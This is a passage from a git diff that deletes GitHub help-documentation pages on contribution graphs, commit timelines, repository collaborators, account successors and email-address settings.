commits ---- - -## Expected behavior to view commit details - -In the "Contribution activity" section of your profile page, you can click the number of commits next to a specific repository to see more details about your commits from that time period, including a diff of specific changes made in a repository. - -![Screenshot of the "Contribution activity" section of a user profile. A link, labeled "29 commits" is highlighted with an orange outline.](/assets/images/help/profile/commit-link-on-profile-timeline.png) - -## Missing commit details from commits in your timeline - -If you click a commit link from your profile page and don't see all of the expected commits on the repository's commits page, then it's possible the commit history in Git was rewritten and the commit author date and the commit date are different. - -## How GitHub uses the Git author date and commit date - -In Git, the author date is when someone first creates a commit with `git commit`. The commit date is identical to the author date unless someone changes the commit date by using `git commit --amend`, a force push, a rebase, or other Git commands. - -On your profile page, the author date is used to calculate when a commit was made. Whereas, in a repository, the commit date is used to calculate when a commit was made in the repository. - -Most often, the author date and commit date are the same but you may notice that your commit sequence is out of order if the commit history is changed. For more information, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/why-are-my-contributions-not-showing-up-on-my-profile) - -## Viewing missing commit details from commits in your timeline - -You can use the `git show` command with the `--pretty=fuller` flag to check if the commit author date and commit date are different. - -```shell -$ git show YOUR_COMMIT_SHA_NUMBER --pretty=fuller -commit YOUR_COMMIT_SHA_NUMBER -Author: octocat USER_EMAIL -AuthorDate: Tue Apr 03 02:02:30 2018 +0900 -Commit: Sally Johnson USER_EMAIL -CommitDate: Tue Apr 10 06:25:08 2018 +0900 -``` - -If the author and commit date are different, you can manually change the commit date in the URL to see the commit details. - -For example: -* This URL uses the author date of `2018-04-03`: - - `https://github.com/your-organization-or-personal-account/your-repository/commits?author=octocat&since=2018-04-03T00:00:00Z&until=2018-04-03T23:59:59Z` -* This URL uses the commit date of `2018-04-10`: - - `https://github.com/your-organization-or-personal-account/your-repository/commits?author=octocat&since=2018-04-10T00:00:00Z&until=2018-04-10T23:59:59Z` - -When you open the URL with the modified commit date, you can see the commit details. - -## Expected commits missing in your timeline - -If you're not seeing expected commits on your timeline, it's possible the commit history in Git was rewritten and the commit author date and the commit date are different. For other possibilities, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/why-are-my-contributions-not-showing-up-on-my-profile) diff --git a/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/viewing-contributions-on-your-profile.md b/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/viewing-contributions-on-your-profile.md deleted file mode 100644 index 3982999b7f0a..000000000000 --- a/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/viewing-contributions-on-your-profile.md +++ /dev/null @@ -1,88 +0,0 @@ ---- -title: Viewing contributions on your profile -intro: 'Your profile shows off your pinned repositories, Achievements, and a graph of your repository contributions over the past year.' -redirect_from: - - /articles/viewing-contributions - - /articles/viewing-contributions-on-your-profile-page - - /articles/viewing-contributions-on-your-profile - - /github/setting-up-and-managing-your-github-profile/viewing-contributions-on-your-profile - - /github/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/viewing-contributions-on-your-profile -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Profiles -shortTitle: View contributions ---- -Your contribution graph and Achievements show activity from public repositories. You can choose to show activity from both public and private repositories, with specific details of your activity in private repositories anonymized. For more information, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/showing-your-private-contributions-and-achievements-on-your-profile). - -> [!NOTE] -> Commits will only appear on your contributions graph if the email address you used to author the commits is connected to your {% data variables.product.github %} account. For more information, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/why-are-my-contributions-not-showing-up-on-my-profile#your-local-git-commit-email-isnt-connected-to-your-account) - -## What counts as a contribution - -On your profile page, certain actions count as contributions: - -* Committing to a repository's default branch or `gh-pages` branch -* Creating a branch -* Opening an issue -* Opening a discussion -* Answering a discussion -* Proposing a pull request -* Submitting a pull request review{% ifversion ghes %} -* Co-authoring commits in a repository's default branch or `gh-pages` branch{% endif %} - -{% data reusables.pull_requests.pull_request_merges_and_contributions %} - -## Popular repositories - -This section displays your repositories with the most watchers. Once you [pin repositories to your profile](/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/pinning-items-to-your-profile), this section will change to "Pinned." - -## Pinned - -This section displays up to six public repositories or gists. Important details are listed for each of the items you've chosen to feature. For more information, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/pinning-items-to-your-profile). - -![Screenshot of the "Pinned repositories" section of a user's profile page.](/assets/images/help/profile/profile-pinned-repositories.png) - -## Contributions calendar - -Your contributions calendar shows your contribution activity. - -### Viewing contributions from specific times - -* Click on a day's square to show the contributions made during that 24-hour period. -* Press _Shift_ and click on another day's square to show contributions made during that time span. - -> [!NOTE] -> You can select up to a one-month range on your contributions calendar. If you select a larger time span, we will only display one month of contributions. - -![Screenshot of the contributions graph on a user profile.](/assets/images/help/profile/contributions-graph.png) - -### How contribution event times are calculated - -Timestamps are calculated differently for commits and pull requests: -* **Commits** use the time zone information in the commit timestamp. For more information, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/troubleshooting-commits-on-your-timeline). -* **Pull requests** and **issues** opened on {% data variables.product.github %} use your browser's time zone. Those opened via the API use the timestamp or time zone [specified in the API call](https://developer.github.com/changes/2014-03-04-timezone-handling-changes). - -## Activity overview - -{% data reusables.profile.activity-overview-summary %} For more information, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/showing-an-overview-of-your-activity-on-your-profile). - -![Screenshot of the activity overview section of a user profile.](/assets/images/help/profile/activity-overview-section.png) - -The organizations featured in the activity overview are prioritized according to how active you are in the organization. If you @mention an organization in your profile bio, and you’re an organization member, then that organization is prioritized first in the activity overview. For more information, see [AUTOTITLE](/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax#mentioning-people-and-teams) or [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/personalizing-your-profile). - -## Contribution activity - -The contribution activity section includes a detailed timeline of your work, including commits you've made or co-authored, pull requests you've proposed, and issues you've opened. - -You can see your contributions over time by either clicking **Show more activity** at the bottom of your contribution activity or by clicking the year you're interested in viewing on the right side of the page. - -Important moments, like the date you joined an organization, proposed your first pull request, or opened a high-profile issue, are highlighted in your contribution activity. - -If you can't see certain events in your timeline, check to make sure you still have access to the organization or repository where the event happened. - -## Viewing contributions from {% data variables.product.prodname_enterprise %} on {% data variables.product.prodname_dotcom_the_website %} - -If you use {% data variables.product.prodname_ghe_server %} and your enterprise owner enables {% data variables.enterprise.prodname_unified_contributions %}, you can send enterprise contribution counts to your {% data variables.product.prodname_dotcom_the_website %} profile. For more information, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/sending-enterprise-contributions-to-your-githubcom-profile). diff --git a/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/why-are-my-contributions-not-showing-up-on-my-profile.md b/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/why-are-my-contributions-not-showing-up-on-my-profile.md deleted file mode 100644 index fa6f7887b756..000000000000 --- a/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/why-are-my-contributions-not-showing-up-on-my-profile.md +++ /dev/null @@ -1,102 +0,0 @@ ---- -title: Why are my contributions not showing up on my profile? -intro: Learn common reasons that contributions may be missing from your contributions graph. -redirect_from: - - /articles/why-are-my-contributions-not-showing-up-on-my-profile - - /github/setting-up-and-managing-your-github-profile/why-are-my-contributions-not-showing-up-on-my-profile - - /github/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/why-are-my-contributions-not-showing-up-on-my-profile - - /account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/why-are-my-contributions-not-showing-up-on-my-profile -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Profiles -shortTitle: Missing contributions ---- - -## About your contribution graph - -Your profile contributions graph is a record of contributions you've made to repositories on {% data variables.product.prodname_dotcom %}. Contributions are timestamped according to Coordinated Universal Time (UTC) rather than your local time zone. Contributions are only counted if they meet certain criteria. In some cases, we may need to rebuild your graph in order for contributions to appear. - -If you are part of an organization that uses SAML single sign-on (SSO), you won’t be able to see contribution activity from the organization on your profile if you do not have an active SSO session. People viewing your profile from outside your organization will see anonymized contribution activity of your contribution activity for your organization. - -## Contributions that are counted - -### Issues, pull requests and discussions - -Issues, pull requests, and discussions will appear on your contribution graph if they were opened in a standalone repository, not a fork. - -{% data variables.product.company_short %} limits the number of these items when displaying the contribution graph. If you've reached the limit, the contribution graph may not display all of your contributions. - -### Commits - -Commits will appear on your contributions graph if they meet **all** of the following conditions: -* The email address used for the commits is associated with your account on {% data variables.product.prodname_dotcom %}. -* The commits were made in a standalone repository, not a fork. -* The commits were made: - * In the repository's default branch - * In the `gh-pages` branch (for repositories with project sites) - -For more information on project sites, see [AUTOTITLE](/pages/getting-started-with-github-pages/about-github-pages#types-of-github-pages-sites). - -In addition, **at least one** of the following must be true: -* You are a collaborator on the repository or are a member of the organization that owns the repository. -* You have forked the repository. -* You have opened a pull request or issue in the repository. - -## Common reasons that contributions are not counted - -{% data reusables.pull_requests.pull_request_merges_and_contributions %} - -### Commit was made less than 24 hours ago - -After making a commit that meets the requirements to count as a contribution, you may need to wait for up to 24 hours to see the contribution appear on your contributions graph. - -### Your local Git commit email isn't connected to your account - -Commits must be made with an email address that is connected to your account on {% data variables.product.prodname_dotcom %}{% ifversion fpt or ghec %}, or the {% data variables.product.prodname_dotcom %}-provided `noreply` email address provided to you in your email settings,{% endif %} in order to appear on your contributions graph.{% ifversion fpt or ghec %} For more information about `noreply` email addresses, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/setting-your-commit-email-address#about-commit-email-addresses).{% endif %} - -You can check the email address used for a commit by adding `.patch` to the end of a commit URL. For example, the following commit URL includes `.patch`. - -[https://github.com/octocat/octocat.github.io/commit/67c0afc1da354d8571f51b6f0af8f2794117fd10.patch](https://github.com/octocat/octocat.github.io/commit/67c0afc1da354d8571f51b6f0af8f2794117fd10.patch) - -```text -From 67c0afc1da354d8571f51b6f0af8f2794117fd10 Mon Sep 17 00:00:00 2001 -From: The Octocat <octocat@nowhere.com> -Date: Sun, 27 Apr 2014 15:36:39 +0530 -Subject: [PATCH] updated index for better welcome message -``` - -The email address in the `From:` field is the address that was set in the [local git config settings](/get-started/git-basics/set-up-git). In this example, the email address used for the commit is `octocat@nowhere.com`. - -If the email address used for the commit is not connected to your account on {% data variables.product.prodname_dotcom %}, you must [add the email address](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/adding-an-email-address-to-your-github-account) to your account on {% data variables.product.prodname_dotcom %}. Your contributions graph will be rebuilt automatically when you add the new address. - -{% ifversion fpt or ghec %} - -> [!NOTE] -> If you use a {% data variables.enterprise.prodname_managed_user %}, you cannot add additional email addresses to the account, even if multiple email addresses are registered with your identity provider (IdP). Therefore, only commits that are authored by the primary email address registered with your IdP can be associated with your {% data variables.enterprise.prodname_managed_user %}. - -{% endif %} - -Generic email addresses, such as `jane@computer.local`, cannot be added to {% data variables.product.prodname_dotcom %} accounts and linked to commits. If you've authored any commits using a generic email address, the commits will not be linked to your {% data variables.product.prodname_dotcom %} profile and will not show up in your contribution graph. - -### Commit was not made in the default or `gh-pages` branch - -Commits are only counted if they are made in the default branch or the `gh-pages` branch (for repositories with project sites). For more information, see [AUTOTITLE](/pages/getting-started-with-github-pages/about-github-pages#types-of-github-pages-sites). - -If your commits are in a non-default or non-`gh-pages` branch and you'd like them to count toward your contributions, you will need to do one of the following: -* [Open a pull request](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request) to have your changes merged into the default branch or the `gh-pages` branch. -* [Change the default branch](/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/changing-the-default-branch) of the repository. - -> [!WARNING] -> Changing the default branch of the repository will change it for all repository collaborators. Only do this if you want the new branch to become the base against which all future pull requests and commits will be made. - -### Commit was made in a fork - -Commits made in a fork will not count toward your contributions. To make them count, you must open a pull request to have your changes merged into the parent repository. For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request). - -## Further reading - -* [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/showing-your-private-contributions-and-achievements-on-your-profile) -* [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/viewing-contributions-on-your-profile) diff --git a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/index.md b/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/index.md deleted file mode 100644 index 90c8ee5cd820..000000000000 --- a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/index.md +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: Setting up and managing your personal account on GitHub -intro: 'You can manage settings for your personal account on {% data variables.product.prodname_dotcom %}, including email preferences, access to personal repositories, and organization memberships. You can also manage the account itself.' -shortTitle: Personal accounts -redirect_from: - - /categories/setting-up-and-managing-your-github-user-account - - /github/setting-up-and-managing-your-github-user-account - - /account-and-profile/setting-up-and-managing-your-github-user-account -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Accounts -children: - - /managing-user-account-settings - - /managing-your-personal-account - - /managing-email-preferences - - /managing-access-to-your-personal-repositories - - /managing-your-membership-in-organizations ---- diff --git a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-access-to-your-personal-repositories/index.md b/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-access-to-your-personal-repositories/index.md deleted file mode 100644 index d0f4022cef1f..000000000000 --- a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-access-to-your-personal-repositories/index.md +++ /dev/null @@ -1,25 +0,0 @@ ---- -title: Managing access to your personal repositories -intro: You can give people collaborator access to repositories owned by your personal account. -redirect_from: - - /categories/101/articles - - /categories/managing-repository-collaborators - - /articles/managing-access-to-your-personal-repositories - - /github/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories - - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories -product: '{% data reusables.gated-features.user-repo-collaborators %}' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Accounts - - Repositories -children: - - /inviting-collaborators-to-a-personal-repository - - /removing-a-collaborator-from-a-personal-repository - - /removing-yourself-from-a-collaborators-repository - - /maintaining-ownership-continuity-of-your-personal-accounts-repositories -shortTitle: Access to your repositories ---- - diff --git a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-access-to-your-personal-repositories/inviting-collaborators-to-a-personal-repository.md b/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-access-to-your-personal-repositories/inviting-collaborators-to-a-personal-repository.md deleted file mode 100644 index 69526f6bb472..000000000000 --- a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-access-to-your-personal-repositories/inviting-collaborators-to-a-personal-repository.md +++ /dev/null @@ -1,61 +0,0 @@ ---- -title: Inviting collaborators to a personal repository -intro: 'You can {% ifversion fpt or ghec %}invite users to become{% else %}add users as{% endif %} collaborators to your personal repository.' -redirect_from: - - /articles/how-do-i-add-a-collaborator - - /articles/adding-collaborators-to-a-personal-repository - - /articles/inviting-collaborators-to-a-personal-repository - - /github/setting-up-and-managing-your-github-user-account/inviting-collaborators-to-a-personal-repository - - /github/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/inviting-collaborators-to-a-personal-repository - - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/inviting-collaborators-to-a-personal-repository -product: '{% data reusables.gated-features.user-repo-collaborators %}' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Accounts - - Repositories -shortTitle: Invite collaborators ---- -## About collaboration in a personal repository - -To collaborate with users in a repository that belongs to your personal account on {% data variables.product.prodname_dotcom %}, you can invite the users as collaborators. - -If you want to grant more granular access to the repository, you can create a repository within an organization. For more information, see [AUTOTITLE](/get-started/learning-about-github/access-permissions-on-github). - -{% ifversion ghec %} - -If you're a member of an {% data variables.enterprise.prodname_emu_enterprise %}, you can only invite other members of your enterprise to collaborate with you. {% data reusables.enterprise-accounts.emu-more-info-account %} - -{% endif %} - -{% data reusables.repositories.private_forks_inherit_permissions %} - -## Inviting a collaborator to a personal repository - -You can send an invitation to collaborate in your repository directly to someone on {% data variables.product.prodname_dotcom %}{% ifversion fpt or ghec %}, or to the person's email address{% elsif ghes %}.{% endif %}. - -{% ifversion fpt or ghec %} - -{% data variables.product.company_short %} limits the number of people who can be invited to a repository within a 24-hour period. If you exceed this limit, either wait 24 hours or create an organization to collaborate with more people. For more information, see [AUTOTITLE](/organizations/collaborating-with-groups-in-organizations/creating-a-new-organization-from-scratch). - -{% endif %} - -1. Ask for the username of the person you're inviting as a collaborator.{% ifversion fpt or ghec %} If they don't have a username yet, they can sign up for {% data variables.product.prodname_dotcom %}. For more information, see [AUTOTITLE](/get-started/start-your-journey/creating-an-account-on-github).{% endif %} -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -1. In the "Access" section of the sidebar, click **{% octicon "people" aria-hidden="true" %} Collaborators**. -1. Click **Add people**. -1. In the search field, start typing the name of person you want to invite, then click a name in the list of matches. -1. Click **Add NAME to REPOSITORY**. -{% ifversion fpt or ghec %} -1. The user will receive an email inviting them to the repository. Once they accept your invitation, they will have collaborator access to your repository. -{% endif %} - -## Further reading - -* [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-user-account-settings/permission-levels-for-a-personal-account-repository#collaborator-access-for-a-repository-owned-by-a-personal-account) -* [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-access-to-your-personal-repositories/removing-a-collaborator-from-a-personal-repository) -* [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-access-to-your-personal-repositories/removing-yourself-from-a-collaborators-repository) -* [AUTOTITLE](/organizations/organizing-members-into-teams) diff --git a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-access-to-your-personal-repositories/maintaining-ownership-continuity-of-your-personal-accounts-repositories.md b/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-access-to-your-personal-repositories/maintaining-ownership-continuity-of-your-personal-accounts-repositories.md deleted file mode 100644 index 6052b705a660..000000000000 --- a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-access-to-your-personal-repositories/maintaining-ownership-continuity-of-your-personal-accounts-repositories.md +++ /dev/null @@ -1,44 +0,0 @@ ---- -title: Maintaining ownership continuity of your personal account's repositories -intro: You can invite someone to manage your user owned repositories if you are not able to. -versions: - fpt: '*' - ghec: '*' -topics: - - Accounts - - Repositories -redirect_from: - - /github/setting-up-and-managing-your-github-user-account/maintaining-ownership-continuity-of-your-user-accounts-repositories - - /github/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/maintaining-ownership-continuity-of-your-user-accounts-repositories - - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/maintaining-ownership-continuity-of-your-user-accounts-repositories -shortTitle: Ownership continuity ---- -## About successors - -We recommend inviting another {% data variables.product.company_short %} user to be your successor, to manage your user owned repositories if you cannot. As a successor, they will have permission to: - -* Archive your public repositories. -* Transfer your public repositories to their own user owned account. -* Transfer your public repositories to an organization where they can create repositories. - -Successors cannot log into your account. - -An appointed successor can manage your public repositories after presenting a death certificate then waiting for 7 days or presenting an obituary then waiting for 21 days. For more information, see [AUTOTITLE](/free-pro-team@latest/site-policy/other-site-policies/github-deceased-user-policy). - -To request access to manage repositories as a successor, please contact us through the {% data variables.contact.contact_support_portal %}. - -## Inviting a successor - -The person you invite to be your successor must have a {% data variables.product.company_short %} account. - -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.account_settings %} - -1. Under "Successor settings", to invite a successor, begin typing a username, full name, or email address, then click their name when it appears. - - ![Screenshot of the "Successor settings" section. The string "octocat" is entered in a search field, and Octocat's profile is listed in a dropdown.](/assets/images/help/settings/settings-invite-successor-search-field.png) - -1. Click **Add successor**. -{% data reusables.user-settings.sudo-mode-popup %} - -The user you've invited will be listed as "Pending" until they agree to become your successor. diff --git a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-access-to-your-personal-repositories/removing-a-collaborator-from-a-personal-repository.md b/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-access-to-your-personal-repositories/removing-a-collaborator-from-a-personal-repository.md deleted file mode 100644 index f4e59183c1c7..000000000000 --- a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-access-to-your-personal-repositories/removing-a-collaborator-from-a-personal-repository.md +++ /dev/null @@ -1,38 +0,0 @@ ---- -title: Removing a collaborator from a personal repository -intro: 'When you remove a collaborator from your project, they lose read/write access to your repository. If the repository is private and the person has created a fork, then that fork is also deleted.' -redirect_from: - - /articles/how-do-i-remove-a-collaborator - - /articles/what-happens-when-i-remove-a-collaborator-from-my-private-repository - - /articles/removing-a-collaborator-from-a-private-repository - - /articles/deleting-a-private-fork-of-a-private-user-repository - - /articles/how-do-i-delete-a-fork-of-my-private-repository - - /articles/removing-a-collaborator-from-a-personal-repository - - /github/setting-up-and-managing-your-github-user-account/removing-a-collaborator-from-a-personal-repository - - /github/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/removing-a-collaborator-from-a-personal-repository - - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/removing-a-collaborator-from-a-personal-repository -product: '{% data reusables.gated-features.user-repo-collaborators %}' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Accounts - - Repositories -shortTitle: Remove a collaborator ---- -## Deleting forks of private repositories - -While forks of private repositories are deleted when a collaborator is removed, the person will still retain any local clones of your repository. - -## Removing collaborator permissions from a person contributing to a repository - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.repositories.click-collaborators-teams %} -1. To the right of the collaborator you want to remove, click **Remove**. - -## Further reading - -* [AUTOTITLE](/organizations/organizing-members-into-teams/removing-organization-members-from-a-team) -* [AUTOTITLE](/organizations/managing-user-access-to-your-organizations-repositories/managing-outside-collaborators/removing-an-outside-collaborator-from-an-organization-repository) diff --git a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-access-to-your-personal-repositories/removing-yourself-from-a-collaborators-repository.md b/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-access-to-your-personal-repositories/removing-yourself-from-a-collaborators-repository.md deleted file mode 100644 index a5388f11162b..000000000000 --- a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-access-to-your-personal-repositories/removing-yourself-from-a-collaborators-repository.md +++ /dev/null @@ -1,25 +0,0 @@ ---- -title: Removing yourself from a collaborator's repository -intro: 'If you no longer want to be a collaborator on someone else''s repository, you can remove yourself.' -redirect_from: - - /leave-a-collaborative-repo - - /leave-a-repo - - /articles/removing-yourself-from-a-collaborator-s-repo - - /articles/removing-yourself-from-a-collaborator-s-repository - - /articles/removing-yourself-from-a-collaborators-repository - - /github/setting-up-and-managing-your-github-user-account/removing-yourself-from-a-collaborators-repository - - /github/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/removing-yourself-from-a-collaborators-repository - - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/removing-yourself-from-a-collaborators-repository -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Accounts - - Repositories -shortTitle: Remove yourself ---- -{% data reusables.user-settings.access_settings %} -1. In the "Code, planning, and automation" section of the sidebar, click **{% octicon "repo" aria-hidden="true" %} Repositories**. -1. Next to the repository you want to leave, click **Leave**. -1. Read the warning carefully, then click **I understand, leave this repository.** diff --git a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/adding-an-email-address-to-your-github-account.md b/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/adding-an-email-address-to-your-github-account.md deleted file mode 100644 index 9a2f8685b1d4..000000000000 --- a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/adding-an-email-address-to-your-github-account.md +++ /dev/null @@ -1,58 +0,0 @@ ---- -title: Adding an email address to your GitHub account -intro: '{% data variables.product.github %} allows you to add as many email addresses to your account as you like. If you set an email address in your local Git configuration, you will need to add it to your account settings in order to connect your commits to your account. For more information about your email address and commits, see [Setting your commit email address](/articles/setting-your-commit-email-address/).' -redirect_from: - - /articles/adding-an-email-address-to-your-github-account - - /github/setting-up-and-managing-your-github-user-account/adding-an-email-address-to-your-github-account - - /github/setting-up-and-managing-your-github-user-account/managing-email-preferences/adding-an-email-address-to-your-github-account - - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/adding-an-email-address-to-your-github-account -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Accounts - - Notifications -shortTitle: Add an email address ---- -{% ifversion fpt or ghec %} - -> [!NOTE] -> * {% data reusables.user-settings.no-verification-disposable-emails %} -> * If you're a member of an {% data variables.enterprise.prodname_emu_enterprise %}, you cannot make changes to your email address on {% data variables.product.prodname_dotcom %}. {% data reusables.enterprise-accounts.emu-more-info-account %} - -{% endif %} - -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.emails %} -{% data reusables.user-settings.add_and_verify_email %} -1. If you'd like to associate the email address with your web-based Git operations, select it from the "Primary email address" dropdown menu. - - ![Screenshot of the "Email" settings page. Under "Primary email address," a dropdown menu, labeled with Octocat's email address, is outlined in orange.](/assets/images/help/settings/email-primary.png) - -## Troubleshooting adding an email - -If you see an error message when you try to add an email address to your account, you may be experiencing one of the following issues. - -### Email already in use - -If you see the error message `Error adding EMAIL: email is already in use`, it means the email address is already linked to another {% data variables.product.prodname_dotcom %} account. An email address can only be associated with one {% data variables.product.prodname_dotcom %} account at a time. - -To use this email with a different account, follow these steps: - -1. Sign in to the account currently linked to the email address and remove it from that account. -1. If you don’t have access to the account, request a password reset email to recover it. See [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/updating-your-github-access-credentials). - -### Email linked to a {% data variables.enterprise.prodname_managed_user %} - -If the email address that you are trying to add is provided to you by your organization, you may see the `Error adding EMAIL: email is already in use` error when your organization has created a {% data variables.enterprise.prodname_managed_user %} for you in their {% data variables.enterprise.prodname_emu_enterprise %}. - -Reach out to your site administrator or internal IT helpdesk to learn about their deployment of {% data variables.product.prodname_ghe_cloud %} and how to access the account. You may be able to sign into the {% data variables.product.prodname_ghe_cloud %} application via the organization's identity provider (IdP). - -If you want to use your email address with a personal account, you must sign in to your {% data variables.enterprise.prodname_managed_user %} and unverify the email in your account settings. The email will remain linked to your {% data variables.enterprise.prodname_managed_user %}, allowing you to access the account through your organization's IdP. - -However, some third-party apps or services may not function properly with a {% data variables.enterprise.prodname_managed_user %} that has an unverified email address. - -## Further reading - -* [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences) diff --git a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/blocking-command-line-pushes-that-expose-your-personal-email-address.md b/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/blocking-command-line-pushes-that-expose-your-personal-email-address.md deleted file mode 100644 index 5b572d080814..000000000000 --- a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/blocking-command-line-pushes-that-expose-your-personal-email-address.md +++ /dev/null @@ -1,28 +0,0 @@ ---- -title: Blocking command line pushes that expose your personal email address -intro: 'If you''ve chosen to keep your email address private when performing web-based operations, you can also choose to block command line pushes that may expose your personal email address.' -redirect_from: - - /articles/blocking-command-line-pushes-that-expose-your-personal-email-address - - /github/setting-up-and-managing-your-github-user-account/blocking-command-line-pushes-that-expose-your-personal-email-address - - /github/setting-up-and-managing-your-github-user-account/managing-email-preferences/blocking-command-line-pushes-that-expose-your-personal-email-address - - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/blocking-command-line-pushes-that-expose-your-personal-email-address -versions: - fpt: '*' - ghec: '*' -topics: - - Accounts - - Notifications -shortTitle: Block push with personal email ---- -When you push commits from the command line, the email address that you've [set in Git](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/setting-your-commit-email-address) is associated with your commits. If you enable this setting, each time you push to GitHub, we’ll check the most recent commit. If the author email on that commit is a private email on your GitHub account, we will block the push and warn you about exposing your private email. - -{% data reusables.user-settings.about-commit-email-addresses %} - -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.emails %} -{% data reusables.user-settings.keeping_your_email_address_private %} -1. To keep your email address private in commits you push from the command line, select **Block command line pushes that expose my email**. - -## Further reading - -* [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/setting-your-commit-email-address) diff --git a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/changing-your-primary-email-address.md b/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/changing-your-primary-email-address.md deleted file mode 100644 index 3b466eed1902..000000000000 --- 